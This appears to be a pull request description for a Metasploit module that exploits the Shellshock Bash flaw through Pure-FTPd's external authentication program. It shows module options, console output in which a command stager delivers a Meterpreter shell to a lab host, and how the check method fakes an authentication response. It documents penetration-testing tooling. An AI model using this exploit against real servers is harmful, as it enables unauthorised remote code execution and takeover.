Add CVE-2014-6271 Bash / Shellshock exploit via Pure-FTPd ext-auth

This module exploits the well known Bash Environment variable injection flaw in Pure-FTPd servers that execute an external program for authentication. The password field is used instead of the username field because it seems to allow longer commands to be executed.

The original Pure-FTPd PoC was posted [here](https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc).

Example output:
```
msf-git (S:0 J:0) exploit(pureftpd_bash_env_exec) > show options 

Module options (exploit/multi/ftp/pureftpd_bash_env_exec):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.90.144   yes       The target address
   RPATH  /bin             yes       Target PATH for binaries used by the CmdStager
   RPORT  21               yes       The target port


Payload options (linux/x86/meterpreter/bind_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LPORT         4444             yes       The listen port
   RHOST         192.168.90.144   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Linux x86


msf-git (S:0 J:0) exploit(pureftpd_bash_env_exec) > exploit

[*] Started bind handler
[*] Connecting to FTP server 192.168.90.144:21...
[*] Connected to target FTP server.
[*] Command Stager progress -  85.74% done (499/582 bytes)
[*] Connecting to FTP server 192.168.90.144:21...
[*] Connected to target FTP server.
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 192.168.90.144
[*] Meterpreter session 14 opened (192.168.90.226:36735 -> 192.168.90.144:4444) at 2014-10-01 14:47:57 -0400
[*] Command Stager progress - 100.86% done (587/582 bytes)

meterpreter > sysinfo
Computer     : ubuntu
OS           : Linux ubuntu 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:30:00 UTC 2014 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter >
```

The check method uses the vulnerability to echo out the required information to authenticate a user.
No, the check method is not destructive. It tries to exploit the vulnerability and cause the output to be:
```
auth_ok:1
uid:1337
gid:1337
dir:/tmp
end
```

If the vulnerability is present AND the affected script has not printed anything to stdout before the bug is hit, this should cause Pure-FTPd to respond that the user has been successfully authenticated. The the case that the user is logged in, the check method tries the same username with ```auth_ok:0``` to try and get a failed login response.